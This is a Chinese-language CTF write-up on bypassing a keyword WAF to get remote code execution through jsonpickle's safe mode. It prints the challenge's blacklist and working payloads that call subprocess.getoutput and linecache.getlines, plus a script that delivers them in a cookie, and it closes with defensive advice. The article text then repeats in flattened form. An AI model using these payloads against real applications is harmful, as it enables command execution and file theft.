强网S8决赛JsonPcikle Safe模式下的RCE与绕过分析研究
字数 1420 2025-08-22 18:37:14

JsonPickle Safe模式下的RCE与绕过分析研究

1. 背景介绍

本文分析的是在强网S8决赛中遇到的JsonPickle反序列化Safe模式下的RCE(远程代码执行)漏洞及其绕过技术。JsonPickle是一个Python库,用于将复杂的Python对象序列化为JSON格式,以及从JSON格式反序列化回Python对象。

2. 漏洞环境分析

2.1 关键代码结构

from flask import Flask, request, render_template, redirect
from dataclasses import dataclass
from time import time
import jsonpickle
import base64
import json
import os

@dataclass
class User:
    username: str
    password: str

@dataclass
class Token:
    username: str
    timestamp: int

app = Flask(__name__)
users = [
    User('admin', os.urandom(32).hex()),
    User('guest', 'guest')
]

BLACKLIST = ['repr', 'state', 'json', 'reduce', 'tuple', 'nt', '\\\\', 'builtins', 
             'os', 'popen', 'exec', 'eval', 'posix', 'spawn', 'compile', 'code']

def waf(jtoken):
    otoken = json.loads(jtoken)
    token = json.dumps(otoken, ensure_ascii=False)
    for keyword in BLACKLIST:
        if keyword in token:
            return False
    return True

2.2 关键功能点

  1. 登录功能:用户登录后生成Token并序列化存储到cookie
  2. Token验证:检查Token的有效性和权限
  3. 安全限制
    • 使用jsonpickle.decode(jtoken, safe=True)进行安全反序列化
    • 实现了WAF(Web应用防火墙)过滤危险关键词

3. JsonPickle反序列化机制

3.1 JsonPickle标签系统

JsonPickle使用特定的标签来标识Python对象的序列化信息:

标签 描述
py/object 标记字典表示某个Python对象
py/reduce 表示通过__reduce__方法进行序列化
py/function 用于标记函数对象
py/tuple 用于标记元组类型
py/set 用于标记集合类型
py/newargsex 扩展的__new__参数格式

3.2 Safe模式限制

safe=True时,JsonPickle会限制反序列化的对象范围:

  • 只允许反序列化为基本数据类型(字典、列表、字符串、整数等)
  • 避免执行潜在的危险代码(如自定义对象或可执行代码)

4. 漏洞利用分析

4.1 初始攻击思路

尝试使用__reduce__方法进行RCE:

import jsonpickle

class Exp(object):
    def __reduce__(self):
        return (__import__('os').system, ('whoami',))

a = Exp()
s = jsonpickle.encode(a)
jsonpickle.decode(s, safe=True)

生成的payload:

{
  "py/reduce": [
    {"py/function": "nt.system"},
    {"py/tuple": ["whoami"]}
  ]
}

问题reducent等关键词被WAF过滤。

4.2 绕过WAF的技术

  1. 使用py/object代替py/reduce
  2. 使用py/set代替py/tuple(因为tuple在过滤列表中)
  3. 利用py/newargsex构造参数

4.3 文件读取Payload

{
  "py/object": "__main__.Token",
  "username": {
    "py/object": "linecache.getlines",
    "py/newargsex": [{"py/set": ["./flag"]}, ""]
  },
  "timestamp": 1733463288.647048
}

4.4 RCE Payload

{
  "py/object": "__main__.Token",
  "username": {
    "py/object": "subprocess.getoutput",
    "py/newargsex": [{"py/set": ["whoami"]}, ""]
  },
  "timestamp": 1733467440.7435746
}

5. 完整利用流程

  1. 构造恶意Token

    • 使用subprocess.getoutputlinecache.getlines作为目标函数
    • 使用py/set传递参数
    • 设置有效的时间戳
  2. Base64编码

    import base64
    payload = '{"py/object": "__main__.Token", "username": {"py/object":"subprocess.getoutput","py/newargsex":[{"py/set":["whoami"]}, ""]}, "timestamp": 1733467440.7435746}'
    encoded = base64.b64encode(payload.encode()).decode()
    
  3. 发送请求

    import requests
    url = "http://target.com/home"
    res = requests.get(url, cookies={"token": encoded})
    print(res.text)
    

6. 防御建议

  1. 避免使用JsonPickle反序列化不可信数据
  2. 加强WAF过滤规则
    • 增加对subprocesslinecache等模块的过滤
    • 增加对py/newargsex等标签的检测
  3. 使用更安全的序列化方案,如仅使用标准JSON序列化简单数据类型

7. 总结

本文详细分析了JsonPickle在Safe模式下的反序列化漏洞,展示了如何绕过WAF限制实现RCE和文件读取。关键点在于:

  • 利用py/objectpy/newargsex绕过py/reduce的限制
  • 使用py/set代替被过滤的py/tuple
  • 通过修改username字段实现命令执行结果的回显

这种漏洞在Python Web应用中较为隐蔽,开发者需要特别注意反序列化操作的安全性。

JsonPickle Safe模式下的RCE与绕过分析研究 1. 背景介绍 本文分析的是在强网S8决赛中遇到的JsonPickle反序列化Safe模式下的RCE(远程代码执行)漏洞及其绕过技术。JsonPickle是一个Python库,用于将复杂的Python对象序列化为JSON格式,以及从JSON格式反序列化回Python对象。 2. 漏洞环境分析 2.1 关键代码结构 2.2 关键功能点 登录功能 :用户登录后生成Token并序列化存储到cookie Token验证 :检查Token的有效性和权限 安全限制 : 使用 jsonpickle.decode(jtoken, safe=True) 进行安全反序列化 实现了WAF(Web应用防火墙)过滤危险关键词 3. JsonPickle反序列化机制 3.1 JsonPickle标签系统 JsonPickle使用特定的标签来标识Python对象的序列化信息: | 标签 | 描述 | |------|------| | py/object | 标记字典表示某个Python对象 | | py/reduce | 表示通过 __reduce__ 方法进行序列化 | | py/function | 用于标记函数对象 | | py/tuple | 用于标记元组类型 | | py/set | 用于标记集合类型 | | py/newargsex | 扩展的 __new__ 参数格式 | 3.2 Safe模式限制 当 safe=True 时,JsonPickle会限制反序列化的对象范围: 只允许反序列化为基本数据类型(字典、列表、字符串、整数等) 避免执行潜在的危险代码(如自定义对象或可执行代码) 4. 漏洞利用分析 4.1 初始攻击思路 尝试使用 __reduce__ 方法进行RCE: 生成的payload: 问题 : reduce 、 nt 等关键词被WAF过滤。 4.2 绕过WAF的技术 使用 py/object 代替 py/reduce 使用 py/set 代替 py/tuple (因为 tuple 在过滤列表中) 利用 py/newargsex 构造参数 4.3 文件读取Payload 4.4 RCE Payload 5. 完整利用流程 构造恶意Token : 使用 subprocess.getoutput 或 linecache.getlines 作为目标函数 使用 py/set 传递参数 设置有效的时间戳 Base64编码 : 发送请求 : 6. 防御建议 避免使用JsonPickle反序列化不可信数据 加强WAF过滤规则 : 增加对 subprocess 、 linecache 等模块的过滤 增加对 py/newargsex 等标签的检测 使用更安全的序列化方案 ,如仅使用标准JSON序列化简单数据类型 7. 总结 本文详细分析了JsonPickle在Safe模式下的反序列化漏洞,展示了如何绕过WAF限制实现RCE和文件读取。关键点在于: 利用 py/object 和 py/newargsex 绕过 py/reduce 的限制 使用 py/set 代替被过滤的 py/tuple 通过修改 username 字段实现命令执行结果的回显 这种漏洞在Python Web应用中较为隐蔽,开发者需要特别注意反序列化操作的安全性。